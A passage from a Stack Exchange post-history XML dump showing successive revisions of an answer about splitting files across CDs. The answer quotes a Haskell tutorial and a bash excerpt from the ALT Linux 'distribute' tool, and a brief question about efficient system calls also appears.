filesToEat=()&#xD;&#xA;              finishCD&#xD;&#xA;    	  startTypedCD&#xD;&#xA;    	fi&#xD;&#xA;          let &quot;totalsize += ${allSizes[$(( no ))]}&quot; ||:&#xD;&#xA;          filesToEat[$(( no++ ))]=&quot;$p&quot;&#xD;&#xA;      done&#xD;&#xA;      eatFiles &quot;${filesToEat[@]}&quot;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    function eatFiles() {&#xD;&#xA;        #{ oldIFS=&quot;$IFS&quot;; IFS=$'\n'; echo &quot;$FUNCNAME: args: &quot; &quot;$*&quot; | head &gt;&amp;2;  IFS=&quot;$oldIFS&quot;; }&#xD;&#xA;        zeroDelimited &quot;$@&quot; | xargs -0 --no-run-if-empty \&#xD;&#xA;    	cp -s \&#xD;&#xA;    	--target-dir=&quot;$THIS_LAYOUTS_DIR/cd$(( cdN ))/$PREFIX/$type$DOT_SUFFIX&quot;/ \&#xD;&#xA;    	--&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    function startTypedCD() {&#xD;&#xA;    #  set -x&#xD;&#xA;      mkdir -p &quot;$THIS_LAYOUTS_DIR/cd$(( cdN ))/$PREFIX/$type$DOT_SUFFIX&quot;&#xD;&#xA;      start_action $&quot; %s with %s&quot; &quot;$(( cdN ))&quot; &quot;$type&quot;&#xD;&#xA;    #  set +x&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    function finishCD() {&#xD;&#xA;([read more after line 454](http://git.altlinux.org/srpms/d/distribute.git?p=distribute.git;a=blob;f=distribute/usr/bin/distribute;h=98e2be1c91bde3d5d509be0e3fcda2852cf9356f;hb=HEAD#l454))&#xD;&#xA;&#xD;&#xA;The presented script follows the simplest idea: to sum the sizes of files (or, more precisely, packages in the case of `distribute`) just in the order they were listed, don't do any rearrangements.&#xD;&#xA;&#xD;&#xA;The &quot;Hitchhikers guide to Haskell&quot; takes the optimization problem more seriously and suggests program variants that would try to re-arrange the files smartly, in order for them to fit better on disks (and require less disks):&#xD;&#xA;&#xD;&#xA;&gt; Enough preliminaries already. let's go&#xD;&#xA;&gt; pack some CDs.&#xD;&#xA;&gt; &#xD;&#xA;&gt; As you might already have recognized,&#xD;&#xA;&gt; our problem is a classical one. It is&#xD;&#xA;&gt; called a **&quot;knapsack problem&quot;**&#xD;&#xA;&gt; ([google it up](http://www.google.com/search?q=knapsack+problem), if you don't know&#xD;&#xA;&gt; already what it is. There are more&#xD;&#xA;&gt; than 100000 links).&#xD;&#xA;&gt; &#xD;&#xA;&gt; let's start from the greedy solution...&#xD;&#xA;&#xD;&#xA;(read more in [Chapter 3](http://www.haskell.org/haskellwiki/Hitchhikers_guide_to_Haskell#Chapter_3:_Packing_the_knapsack_and_testing_it_with_class.2C_too_.28and_don.27t_forget_your_towel.21.29) and further.)&#xD;&#xA;&#xD;&#xA;### Other smart tools&#xD;&#xA;I've been told also that Debian uses a tool to make its distro CDs that is smarter than my `distribute` w.r.t. collections of packages: its results are nicer because it cares about inter-package dependencies and would try to make the collection of packages that gets on the first disk closed under dependencies, i.e., no package from the 1st disk should require a package from another disk (or at least, I'd say, the number of such dependencies should be minimized)." />
  <row Id="24800" PostHistoryTypeId="5" PostId="10321" RevisionGUID="b1140cce-5b15-4cdb-b11f-08250c54187f" CreationDate="2011-03-30T17:22:12.837" UserId="4319" Comment="(minor) Expand a bit the note on the design faults of &quot;distribute&quot;." Text="We shouldn't forget that the essence of the task is indeed quite simple; as put in a tutorial on Haskell (which is written around the working through of the solution for this task, incrementally refined)&#xD;&#xA;&#xD;&#xA;&gt; Now let's think for a moment about how&#xD;&#xA;&gt; our program will operate and express&#xD;&#xA;&gt; it in pseudocode:&#xD;&#xA;&gt; &#xD;&#xA;&gt;     main = Read list of directories and their sizes.&#xD;&#xA;&gt;            Decide how to fit them on CD-Rs.&#xD;&#xA;&gt;            Print solution.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Sounds reasonable? I thought so.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Let's simplify our life a little and&#xD;&#xA;&gt; assume for now that we will compute&#xD;&#xA;&gt; directory sizes somewhere outside our&#xD;&#xA;&gt; program (for example, with &quot;`du -sb *`&quot;)&#xD;&#xA;&gt; and read this information from stdin.&#xD;&#xA;&#xD;&#xA;(from [Hitchhikers guide to Haskell, Chapter 1](http://www.haskell.org/haskellwiki/Hitchhikers_guide_to_Haskell#Chapter_1:_Ubiquitous_.22Hello_world.21.22_and_other_ways_to_do_IO_in_Haskell))&#xD;&#xA;&#xD;&#xA;(Additionaly, in your question, you'd like to be able to tweak (edit) the resulting disk layouts, and then use a tool to burn them.)&#xD;&#xA;&#xD;&#xA;You could re-use (adapt and re-use) a simple variant of the program from that Haskell tutorial for splitting your file collection.&#xD;&#xA;&#xD;&#xA;Unfortunately, in [the `distribute` tool that I've mentioned here in another answer](http://unix.stackexchange.com/questions/10158/splitting-large-directory-tree-into-specified-size-chunks/10221#10221), the simplicity of the essential splitting task is not matched by the complexity and bloatedness of the user interface of `distribute` (because it was written to combine several tasks; although, performed in stages, but still combined not in the cleanest way I could think of now). Here's an excerpt from the bash-code of `distribute` (at [line 380](http://git.altlinux.org/srpms/d/distribute.git?p=distribute.git;a=blob;f=distribute/usr/bin/distribute;h=98e2be1c91bde3d5d509be0e3fcda2852cf9356f;hb=HEAD#l380)) that serves to do this &quot;essential&quot; task of splitting a collection of files:&#xD;&#xA;&#xD;&#xA;    # Splitting:&#xD;&#xA;    &#xD;&#xA;    function splitMirrorDir() {&#xD;&#xA;      if [[ ! -d &quot;$THIS_BASES_DIR/$BASE/$type&quot; ]]; then&#xD;&#xA;        echo $&quot;No base fixed for $type&quot; &gt;&amp;2&#xD;&#xA;        exit 1&#xD;&#xA;      fi&#xD;&#xA;    &#xD;&#xA;      # Getting the list of all suitable files:&#xD;&#xA;      local -a allFiles&#xD;&#xA;      let 'no = 0' ||:&#xD;&#xA;      allFiles=()&#xD;&#xA;      # no points to the next free position in allFiles&#xD;&#xA;      # allFiles contains the constructed list&#xD;&#xA;      for p in &quot;$THIS_BASES_DIR/$BASE/$type&quot;/*.rpm; do&#xD;&#xA;          if [[ ! -e &quot;$p&quot; ]]; then&#xD;&#xA;    	  # fail on non-existent files&#xD;&#xA;    	  echo $&quot;Package file doesn't exist: &quot; &quot;$p&quot; &gt;&amp;2&#xD;&#xA;    	  return 1 &#xD;&#xA;          fi&#xD;&#xA;          if [[ &quot;$ONLY_REAL_FILES&quot; == &quot;yes&quot; &amp;&amp; ! -f &quot;$p&quot; ]]; then&#xD;&#xA;    	  continue&#xD;&#xA;          fi&#xD;&#xA;          if [[ &quot;$DIFF_TO_BASE&quot; ]]; then&#xD;&#xA;              older_copy=&quot;$DIFF_TO_BASE/$type/${p##*/}&quot; # using shell param expansion instead of `basename' to speed up&#xD;&#xA;              if [[ -h &quot;$older_copy&quot; || -a &quot;$older_copy&quot; ]]; then&#xD;&#xA;    	      continue&#xD;&#xA;    	  fi&#xD;&#xA;          fi&#xD;&#xA;          allFiles[$(( no++ ))]=&quot;$p&quot;&#xD;&#xA;      done&#xD;&#xA;      readonly -a allFiles&#xD;&#xA;    &#xD;&#xA;      # Splitting the list of all files into future disks:&#xD;&#xA;      # &#xD;&#xA;      local -a filesToEat allSizes&#xD;&#xA;      let 'no = 0' ||:&#xD;&#xA;      filesToEat=()&#xD;&#xA;      allSizes=($(getSize &quot;${allFiles[@]}&quot;))&#xD;&#xA;      readonly -a allSizes&#xD;&#xA;      # allSizes contains the sizes corrsponding to allFiles&#xD;&#xA;      # filesToEat hold the constructed list of files to put on the current disk&#xD;&#xA;      # no points to the next free position in filesToEat&#xD;&#xA;      # totalSize should hold the sum of the sizes &#xD;&#xA;      #  of the files already put into filesToEat;&#xD;&#xA;      #  it is set and reset externally.&#xD;&#xA;      for p in &quot;${allFiles[@]}&quot;; do &#xD;&#xA;          if (( totalsize + ${allSizes[$(( no ))]} &gt; CDVOLUME )); then&#xD;&#xA;    	  eatFiles &quot;${filesToEat[@]}&quot;&#xD;&#xA;              filesToEat=()&#xD;&#xA;              finishCD&#xD;&#xA;    	  startTypedCD&#xD;&#xA;    	fi&#xD;&#xA;          let &quot;totalsize += ${allSizes[$(( no ))]}&quot; ||:&#xD;&#xA;          filesToEat[$(( no++ ))]=&quot;$p&quot;&#xD;&#xA;      done&#xD;&#xA;      eatFiles &quot;${filesToEat[@]}&quot;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    function eatFiles() {&#xD;&#xA;        #{ oldIFS=&quot;$IFS&quot;; IFS=$'\n'; echo &quot;$FUNCNAME: args: &quot; &quot;$*&quot; | head &gt;&amp;2;  IFS=&quot;$oldIFS&quot;; }&#xD;&#xA;        zeroDelimited &quot;$@&quot; | xargs -0 --no-run-if-empty \&#xD;&#xA;    	cp -s \&#xD;&#xA;    	--target-dir=&quot;$THIS_LAYOUTS_DIR/cd$(( cdN ))/$PREFIX/$type$DOT_SUFFIX&quot;/ \&#xD;&#xA;    	--&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    function startTypedCD() {&#xD;&#xA;    #  set -x&#xD;&#xA;      mkdir -p &quot;$THIS_LAYOUTS_DIR/cd$(( cdN ))/$PREFIX/$type$DOT_SUFFIX&quot;&#xD;&#xA;      start_action $&quot; %s with %s&quot; &quot;$(( cdN ))&quot; &quot;$type&quot;&#xD;&#xA;    #  set +x&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    function finishCD() {&#xD;&#xA;([read more after line 454](http://git.altlinux.org/srpms/d/distribute.git?p=distribute.git;a=blob;f=distribute/usr/bin/distribute;h=98e2be1c91bde3d5d509be0e3fcda2852cf9356f;hb=HEAD#l454))&#xD;&#xA;&#xD;&#xA;The presented script (which you can take and rewrite to your needs, of course!) follows the simplest idea: to sum the sizes of files (or, more precisely, packages in the case of `distribute`) just in the order they were listed, don't do any rearrangements.&#xD;&#xA;&#xD;&#xA;The &quot;Hitchhikers guide to Haskell&quot; takes the optimization problem more seriously and suggests program variants that would try to re-arrange the files smartly, in order for them to fit better on disks (and require less disks):&#xD;&#xA;&#xD;&#xA;&gt; Enough preliminaries already. let's go&#xD;&#xA;&gt; pack some CDs.&#xD;&#xA;&gt; &#xD;&#xA;&gt; As you might already have recognized,&#xD;&#xA;&gt; our problem is a classical one. It is&#xD;&#xA;&gt; called a **&quot;knapsack problem&quot;**&#xD;&#xA;&gt; ([google it up](http://www.google.com/search?q=knapsack+problem), if you don't know&#xD;&#xA;&gt; already what it is. There are more&#xD;&#xA;&gt; than 100000 links).&#xD;&#xA;&gt; &#xD;&#xA;&gt; let's start from the greedy solution...&#xD;&#xA;&#xD;&#xA;(read more in [Chapter 3](http://www.haskell.org/haskellwiki/Hitchhikers_guide_to_Haskell#Chapter_3:_Packing_the_knapsack_and_testing_it_with_class.2C_too_.28and_don.27t_forget_your_towel.21.29) and further.)&#xD;&#xA;&#xD;&#xA;### Other smart tools&#xD;&#xA;I've been told also that Debian uses a tool to make its distro CDs that is smarter than my `distribute` w.r.t. collections of packages: its results are nicer because it cares about inter-package dependencies and would try to make the collection of packages that gets on the first disk closed under dependencies, i.e., no package from the 1st disk should require a package from another disk (or at least, I'd say, the number of such dependencies should be minimized)." />
  <row Id="24801" PostHistoryTypeId="2" PostId="10322" RevisionGUID="c0a79730-5c5c-4f70-89b8-727072b7fc10" CreationDate="2011-03-30T17:25:57.980" UserId="6174" Text="For example, on Linux there is sendfile(2), splice(2) and vmsplice(2) that do some very awesome things with DMA, direct memory access.&#xD;&#xA;&#xD;&#xA;What are some of your favorites (one system call per response so folks that up vote others).  This isn't limited to just Linux, bring on BSD, AIX, Solaris, HP-UX or DMA." />
  <row Id="24802" PostHistoryTypeId="1" PostId="10322" RevisionGUID="c0a79730-5c5c-4f70-89b8-727072b7fc10" CreationDate="2011-03-30T17:25:57.980" UserId="6174" Text="Looking for non-portable, but amazingly efficient system calls" />
  <row Id="24803" PostHistoryTypeId="3" PostId="10322" RevisionGUID="c0a79730-5c5c-4f70-89b8-727072b7fc10" CreationDate="2011-03-30T17:25:57.980" UserId="6174" Text="éperformanceàéioàésystemöcallsà" />
  <row Id="24804" PostHistoryTypeId="10" PostId="10322" RevisionGUID="5df6c273-fe18-4fd5-867d-9e934ec037a4" CreationDate="2011-03-30T17:28:30.333" UserId="73" CloseReasonId="4" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="24805" PostHistoryTypeId="5" PostId="10321" RevisionGUID="024fc65f-f702-42d4-8e79-a8bf55d438b8" CreationDate="2011-03-30T17:29:27.727" UserId="4319" Comment="(minor) Presentational/intro words before a paragraph, to help the reader through the text without loosing the idea of why the text has been written." Text="We shouldn't forget that the essence of the task is indeed quite simple; as put in a tutorial on Haskell (which is written around the working through of the solution for this task, incrementally refined)&#xD;&#xA;&#xD;&#xA;&gt; Now let's think for a moment about how&#xD;&#xA;&gt; our program will operate and express&#xD;&#xA;&gt; it in pseudocode:&#xD;&#xA;&gt; &#xD;&#xA;&gt;     main = Read list of directories and their sizes.&#xD;&#xA;&gt;            Decide how to fit them on CD-Rs.&#xD;&#xA;&gt;            Print solution.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Sounds reasonable? I thought so.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Let's simplify our life a little and&#xD;&#xA;&gt; assume for now that we will compute&#xD;&#xA;&gt; directory sizes somewhere outside our&#xD;&#xA;&gt; program (for example, with &quot;`du -sb *`&quot;)&#xD;&#xA;&gt; and read this information from stdin.&#xD;&#xA;&#xD;&#xA;(from [Hitchhikers guide to Haskell, Chapter 1](http://www.haskell.org/haskellwiki/Hitchhikers_guide_to_Haskell#Chapter_1:_Ubiquitous_.22Hello_world.21.22_and_other_ways_to_do_IO_in_Haskell))&#xD;&#xA;&#xD;&#xA;(Additionaly, in your question, you'd like to be able to tweak (edit) the resulting disk layouts, and then use a tool to burn them.)&#xD;&#xA;&#xD;&#xA;You could re-use (adapt and re-use) a simple variant of the program from that Haskell tutorial for splitting your file collection.&#xD;&#xA;&#xD;&#xA;Unfortunately, in [the `distribute` tool that I've mentioned here in another answer](http://unix.stackexchange.com/questions/10158/splitting-large-directory-tree-into-specified-size-chunks/10221#10221), the simplicity of the essential splitting task is not matched by the complexity and bloatedness of the user interface of `distribute` (because it was written to combine several tasks; although, performed in stages, but still combined not in the cleanest way I could think of now).&#xD;&#xA;&#xD;&#xA;To help you make some use of its code, here's an excerpt from the bash-code of `distribute` (at [line 380](http://git.altlinux.org/srpms/d/distribute.git?p=distribute.git;a=blob;f=distribute/usr/bin/distribute;h=98e2be1c91bde3d5d509be0e3fcda2852cf9356f;hb=HEAD#l380)) that serves to do this &quot;essential&quot; task of splitting a collection of files:&#xD;&#xA;&#xD;&#xA;    # Splitting:&#xD;&#xA;    &#xD;&#xA;    function splitMirrorDir() {&#xD;&#xA;      if [[ ! -d &quot;$THIS_BASES_DIR/$BASE/$type&quot; ]]; then&#xD;&#xA;        echo $&quot;No base fixed for $type&quot; &gt;&amp;2&#xD;&#xA;        exit 1&#xD;&#xA;      fi&#xD;&#xA;    &#xD;&#xA;      # Getting the list of all suitable files:&#xD;&#xA;      local -a allFiles&#xD;&#xA;      let 'no = 0' ||:&#xD;&#xA;      allFiles=()&#xD;&#xA;      # no points to the next free position in allFiles&#xD;&#xA;      # allFiles contains the constructed list&#xD;&#xA;      for p in &quot;$THIS_BASES_DIR/$BASE/$type&quot;/*.rpm; do&#xD;&#xA;          if [[ ! -e &quot;$p&quot; ]]; then&#xD;&#xA;    	  # fail on non-existent files&#xD;&#xA;    	  echo $&quot;Package file doesn't exist: &quot; &quot;$p&quot; &gt;&amp;2&#xD;&#xA;    	  return 1 &#xD;&#xA;          fi&#xD;&#xA;          if [[ &quot;$ONLY_REAL_FILES&quot; == &quot;yes&quot; &amp;&amp; ! -f &quot;$p&quot; ]]; then&#xD;&#xA;    	  continue&#xD;&#xA;          fi&#xD;&#xA;          if [[ &quot;$DIFF_TO_BASE&quot; ]]; then&#xD;&#xA;              older_copy=&quot;$DIFF_TO_BASE/$type/${p##*/}&quot; # using shell param expansion instead of `basename' to speed up&#xD;&#xA;              if [[ -h &quot;$older_copy&quot; || -a &quot;$older_copy&quot; ]]; then&#xD;&#xA;    	      continue&#xD;&#xA;    	  fi&#xD;&#xA;          fi&#xD;&#xA;          allFiles[$(( no++ ))]=&quot;$p&quot;&#xD;&#xA;      done&#xD;&#xA;      readonly -a allFiles&#xD;&#xA;    &#xD;&#xA;      # Splitting the list of all files into future disks:&#xD;&#xA;      # &#xD;&#xA;      local -a filesToEat allSizes&#xD;&#xA;      let 'no = 0' ||:&#xD;&#xA;      filesToEat=()&#xD;&#xA;      allSizes=($(getSize &quot;${allFiles[@]}&quot;))&#xD;&#xA;      readonly -a allSizes&#xD;&#xA;      # allSizes contains the sizes corrsponding to allFiles&#xD;&#xA;      # filesToEat hold the constructed list of files to put on the current disk&#xD;&#xA;      # no points to the next free position in filesToEat&#xD;&#xA;      # totalSize should hold the sum of the sizes &#xD;&#xA;      #  of the files already put into filesToEat;&#xD;&#xA;      #  it is set and reset externally.&#xD;&#xA;      for p in &quot;${allFiles[@]}&quot;; do &#xD;&#xA;          if (( totalsize + ${allSizes[$(( no ))]} &gt; CDVOLUME )); then&#xD;&#xA;    	  eatFiles &quot;${filesToEat[@]}&quot;&#xD;&#xA;              filesToEat=()&#xD;&#xA;              finishCD&#xD;&#xA;    	  startTypedCD&#xD;&#xA;    	fi&#xD;&#xA;          let &quot;totalsize += ${allSizes[$(( no ))]}&quot; ||:&#xD;&#xA;          filesToEat[$(( no++ ))]=&quot;$p&quot;&#xD;&#xA;      done&#xD;&#xA;      eatFiles &quot;${filesToEat[@]}&quot;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    function eatFiles() {&#xD;&#xA;        #{ oldIFS=&quot;$IFS&quot;; IFS=$'\n'; echo &quot;$FUNCNAME: args: &quot; &quot;$*&quot; | head &gt;&amp;2;  IFS=&quot;$oldIFS&quot;; }&#xD;&#xA;        zeroDelimited &quot;$@&quot; | xargs -0 --no-run-if-empty \&#xD;&#xA;    	cp -s \&#xD;&#xA;    	--target-dir=&quot;$THIS_LAYOUTS_DIR/cd$(( cdN ))/$PREFIX/$type$DOT_SUFFIX&quot;/ \&#xD;&#xA;    	--&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    function startTypedCD() {&#xD;&#xA;    #  set -x&#xD;&#xA;      mkdir -p &quot;$THIS_LAYOUTS_DIR/cd$(( cdN ))/$PREFIX/$type$DOT_SUFFIX&quot;&#xD;&#xA;      start_action $&quot; %s with %s&quot; &quot;$(( cdN ))&quot; &quot;$type&quot;&#xD;&#xA;    #  set +x&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    function finishCD() {&#xD;&#xA;([read more after line 454](http://git.altlinux.org/srpms/d/distribute.git?p=distribute.git;a=blob;f=distribute/usr/bin/distribute;h=98e2be1c91bde3d5d509be0e3fcda2852cf9356f;hb=HEAD#l454))&#xD;&#xA;&#xD;&#xA;The presented script (which you can take and rewrite to your needs, of course!) follows the simplest idea: to sum the sizes of files (or, more precisely, packages in the case of `distribute`) just in the order they were listed, don't do any rearrangements.&#xD;&#xA;&#xD;&#xA;The &quot;Hitchhikers guide to Haskell&quot; takes the optimization problem more seriously and suggests program variants that would try to re-arrange the files smartly, in order for them to fit better on disks (and require less disks):&#xD;&#xA;&#xD;&#xA;&gt; Enough preliminaries already. let's go&#xD;&#xA;&gt; pack some CDs.&#xD;&#xA;&gt; &#xD;&#xA;&gt; As you might already have recognized,&#xD;&#xA;&gt; our problem is a classical one. It is&#xD;&#xA;&gt; called a **&quot;knapsack problem&quot;**&#xD;&#xA;&gt; ([google it up](http://www.google.com/search?q=knapsack+problem), if you don't know&#xD;&#xA;&gt; already what it is. There are more&#xD;&#xA;&gt; than 100000 links).&#xD;&#xA;&gt; &#xD;&#xA;&gt; let's start from the greedy solution...&#xD;&#xA;&#xD;&#xA;(read more in [Chapter 3](http://www.haskell.org/haskellwiki/Hitchhikers_guide_to_Haskell#Chapter_3:_Packing_the_knapsack_and_testing_it_with_class.2C_too_.28and_don.27t_forget_your_towel.21.29) and further.)&#xD;&#xA;&#xD;&#xA;### Other smart tools&#xD;&#xA;I've been told also that Debian uses a tool to make its distro CDs that is smarter than my `distribute` w.r.t. collections of packages: its results are nicer because it cares about inter-package dependencies and would try to make the collection of packages that gets on the first disk closed under dependencies, i.e., no package from the 1st disk should require a package from another disk (or at least, I'd say, the number of such dependencies should be minimized)." />
  <row Id="24806" PostHistoryTypeId="5" PostId="10321" RevisionGUID="ef43e9c7-0092-4a6d-976b-33b8c7c9e4f6" CreationDate="2011-03-30T17:40:40.307" UserId="4319" Comment="(minor) Punctuation." Text="We shouldn't forget that the essence of the task is indeed quite simple; as put in a tutorial on Haskell (which is written around the working through of the solution for this task, incrementally refined)&#xD;&#xA;&#xD;&#xA;&gt; Now let's think for a moment about how&#xD;&#xA;&gt; our program will operate and express&#xD;&#xA;&gt; it in pseudocode:&#xD;&#xA;&gt; &#xD;&#xA;&gt;     main = Read list of directories and their sizes.&#xD;&#xA;&gt;            Decide how to fit them on CD-Rs.&#xD;&#xA;&gt;            Print solution.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Sounds reasonable? I thought so.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Let's simplify our life a little and&#xD;&#xA;&gt; assume for now that we will compute&#xD;&#xA;&gt; directory sizes somewhere outside our&#xD;&#xA;&gt; program (for example, with &quot;`du -sb *`&quot;)&#xD;&#xA;&gt; and read this information from stdin.&#xD;&#xA;&#xD;&#xA;(from [Hitchhikers guide to Haskell, Chapter 1](http://www.haskell.org/haskellwiki/Hitchhikers_guide_to_Haskell#Chapter_1:_Ubiquitous_.22Hello_world.21.22_and_other_ways_to_do_IO_in_Haskell))&#xD;&#xA;&#xD;&#xA;(Additionaly, in your question, you'd like to be able to tweak (edit) the resulting disk layouts, and then use a tool to burn them.)&#xD;&#xA;&#xD;&#xA;You could re-use (adapt and re-use) a simple variant of the program from that Haskell tutorial for splitting your file collection.&#xD;&#xA;&#xD;&#xA;Unfortunately, in [the `distribute` tool that I've mentioned here in another answer](http://unix.stackexchange.com/questions/10158/splitting-large-directory-tree-into-specified-size-chunks/10221#10221), the simplicity of the essential splitting task is not matched by the complexity and bloatedness of the user interface of `distribute` (because it was written to combine several tasks; although performed in stages, but still combined not in the cleanest way I could think of now).&#xD;&#xA;&#xD;&#xA;To help you make some use of its code, here's an excerpt from the bash-code of `distribute` (at [line 380](http://git.altlinux.org/srpms/d/distribute.git?p=distribute.git;a=blob;f=distribute/usr/bin/distribute;h=98e2be1c91bde3d5d509be0e3fcda2852cf9356f;hb=HEAD#l380)) that serves to do this &quot;essential&quot; task of splitting a collection of files:&#xD;&#xA;&#xD;&#xA;    # Splitting:&#xD;&#xA;    &#xD;&#xA;    function splitMirrorDir() {&#xD;&#xA;      if [[ ! -d &quot;$THIS_BASES_DIR/$BASE/$type&quot; ]]; then&#xD;&#xA;        echo $&quot;No base fixed for $type&quot; &gt;&amp;2&#xD;&#xA;        exit 1&#xD;&#xA;      fi&#xD;&#xA;    &#xD;&#xA;      # Getting the list of all suitable files:&#xD;&#xA;      local -a allFiles&#xD;&#xA;      let 'no = 0' ||:&#xD;&#xA;      allFiles=()&#xD;&#xA;      # no points to the next free position in allFiles&#xD;&#xA;      # allFiles contains the constructed list&#xD;&#xA;      for p in &quot;$THIS_BASES_DIR/$BASE/$type&quot;/*.rpm; do&#xD;&#xA;          if [[ ! -e &quot;$p&quot; ]]; then&#xD;&#xA;    	  # fail on non-existent files&#xD;&#xA;    	  echo $&quot;Package file doesn't exist: &quot; &quot;$p&quot; &gt;&amp;2&#xD;&#xA;    	  return 1 &#xD;&#xA;          fi&#xD;&#xA;          if [[ &quot;$ONLY_REAL_FILES&quot; == &quot;yes&quot; &amp;&amp; ! -f &quot;$p&quot; ]]; then&#xD;&#xA;    	  continue&#xD;&#xA;          fi&#xD;&#xA;          if [[ &quot;$DIFF_TO_BASE&quot; ]]; then&#xD;&#xA;              older_copy=&quot;$DIFF_TO_BASE/$type/${p##*/}&quot; # using shell param expansion instead of `basename' to speed up&#xD;&#xA;              if [[ -h &quot;$older_copy&quot; || -a &quot;$older_copy&quot; ]]; then&#xD;&#xA;    	      continue&#xD;&#xA;    	  fi&#xD;&#xA;          fi&#xD;&#xA;          allFiles[$(( no++ ))]=&quot;$p&quot;&#xD;&#xA;      done&#xD;&#xA;      readonly -a allFiles&#xD;&#xA;    &#xD;&#xA;      # Splitting the list of all files into future disks:&#xD;&#xA;      # &#xD;&#xA;      local -a filesToEat allSizes&#xD;&#xA;      let 'no = 0' ||:&#xD;&#xA;      filesToEat=()&#xD;&#xA;      allSizes=($(getSize &quot;${allFiles[@]}&quot;))&#xD;&#xA;      readonly -a allSizes&#xD;&#xA;      # allSizes contains the sizes corrsponding to allFiles&#xD;&#xA;      # filesToEat hold the constructed list of files to put on the current disk&#xD;&#xA;      # no points to the next free position in filesToEat&#xD;&#xA;      # totalSize should hold the sum of the sizes &#xD;&#xA;      #  of the files already put into filesToEat;&#xD;&#xA;      #  it is set and reset externally.&#xD;&#xA;      for p in &quot;${allFiles[@]}&quot;; do &#xD;&#xA;          if (( totalsize + ${allSizes[$(( no ))]} &gt; CDVOLUME )); then&#xD;&#xA;    	  eatFiles &quot;${filesToEat[@]}&quot;&#xD;&#xA;              filesToEat=()&#xD;&#xA;              finishCD&#xD;&#xA;    	  startTypedCD&#xD;&#xA;    	fi&#xD;&#xA;          let &quot;totalsize += ${allSizes[$(( no ))]}&quot; ||:&#xD;&#xA;          filesToEat[$(( no++ ))]=&quot;$p&quot;&#xD;&#xA;      done&#xD;&#xA;      eatFiles &quot;${filesToEat[@]}&quot;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    function eatFiles() {&#xD;&#xA;        #{ oldIFS=&quot;$IFS&quot;; IFS=$'\n'; echo &quot;$FUNCNAME: args: &quot; &quot;$*&quot; | head &gt;&amp;2;  IFS=&quot;$oldIFS&quot;; }&#xD;&#xA;        zeroDelimited &quot;$@&quot; | xargs -0 --no-run-if-empty \&#xD;&#xA;    	cp -s \&#xD;&#xA;    	--target-dir=&quot;$THIS_LAYOUTS_DIR/cd$(( cdN ))/$PREFIX/$type$DOT_SUFFIX&quot;/ \&#xD;&#xA;    	--&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    function startTypedCD() {&#xD;&#xA;    #  set -x&#xD;&#xA;      mkdir -p &quot;$THIS_LAYOUTS_DIR/cd$(( cdN ))/$PREFIX/$type$DOT_SUFFIX&quot;&#xD;&#xA;      start_action $&quot; %s with %s&quot; &quot;$(( cdN ))&quot; &quot;$type&quot;&#xD;&#xA;    #  set +x&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    function finishCD() {&#xD;&#xA;([read more after line 454](http://git.altlinux.org/srpms/d/distribute.git?p=distribute.git;a=blob;f=distribute/usr/bin/distribute;h=98e2be1c91bde3d5d509be0e3fcda2852cf9356f;hb=HEAD#l454))&#xD;&#xA;&#xD;&#xA;The presented script (which you can take and rewrite to your needs, of course!) follows the simplest idea: to sum the sizes of files (or, more precisely, packages in the case of `distribute`) just in the order they were listed, don't do any rearrangements.&#xD;&#xA;&#xD;&#xA;The &quot;Hitchhikers guide to Haskell&quot; takes the optimization problem more seriously and suggests program variants that would try to re-arrange the files smartly, in order for them to fit better on disks (and require less disks):&#xD;&#xA;&#xD;&#xA;&gt; Enough preliminaries already. let's go&#xD;&#xA;&gt; pack some CDs.&#xD;&#xA;&gt; &#xD;&#xA;&gt; As you might already have recognized,&#xD;&#xA;&gt; our problem is a classical one. It is&#xD;&#xA;&gt; called a **&quot;knapsack problem&quot;**&#xD;&#xA;&gt; ([google it up](http://www.google.com/search?q=knapsack+problem), if you don't know&#xD;&#xA;&gt; already what it is. There are more&#xD;&#xA;&gt; than 100000 links).&#xD;&#xA;&gt; &#xD;&#xA;&gt; let's start from the greedy solution...&#xD;&#xA;&#xD;&#xA;(read more in [Chapter 3](http://www.haskell.org/haskellwiki/Hitchhikers_guide_to_Haskell#Chapter_3:_Packing_the_knapsack_and_testing_it_with_class.2C_too_.28and_don.27t_forget_your_towel.21.29) and further.)&#xD;&#xA;&#xD;&#xA;### Other smart tools&#xD;&#xA;I've been told also that Debian uses a tool to make its distro CDs that is smarter than my `distribute` w.r.t. collections of packages: its results are nicer because it cares about inter-package dependencies and would try to make the collection of packages that gets on the first disk closed under dependencies, i.e., no package from the 1st disk should require a package from another disk (or at least, I'd say, the number of such dependencies should be minimized)." />
  <row Id="24807" PostHistoryTypeId="5" PostId="10321" RevisionGUID="1ade7772-056b-4736-96f9-ca6758eeb393" CreationDate="2011-03-30T17:48:57.917" UserId="4319" Comment="Typo." Text="We shouldn't forget that the essence of the task is indeed quite simple; as put in a tutorial on Haskell (which is written around the working through of the solution for this task, incrementally refined)&#xD;&#xA;&#xD;&#xA;&gt; Now let's think for a moment about how&#xD;&#xA;&gt; our program will operate and express&#xD;&#xA;&gt; it in pseudocode:&#xD;&#xA;&gt; &#xD;&#xA;&gt;     main = Read list of directories and their sizes.&#xD;&#xA;&gt;            Decide how to fit them on CD-Rs.&#xD;&#xA;&gt;            Print solution.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Sounds reasonable? I thought so.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Let's simplify our life a little and&#xD;&#xA;&gt; assume for now that we will compute&#xD;&#xA;&gt; directory sizes somewhere outside 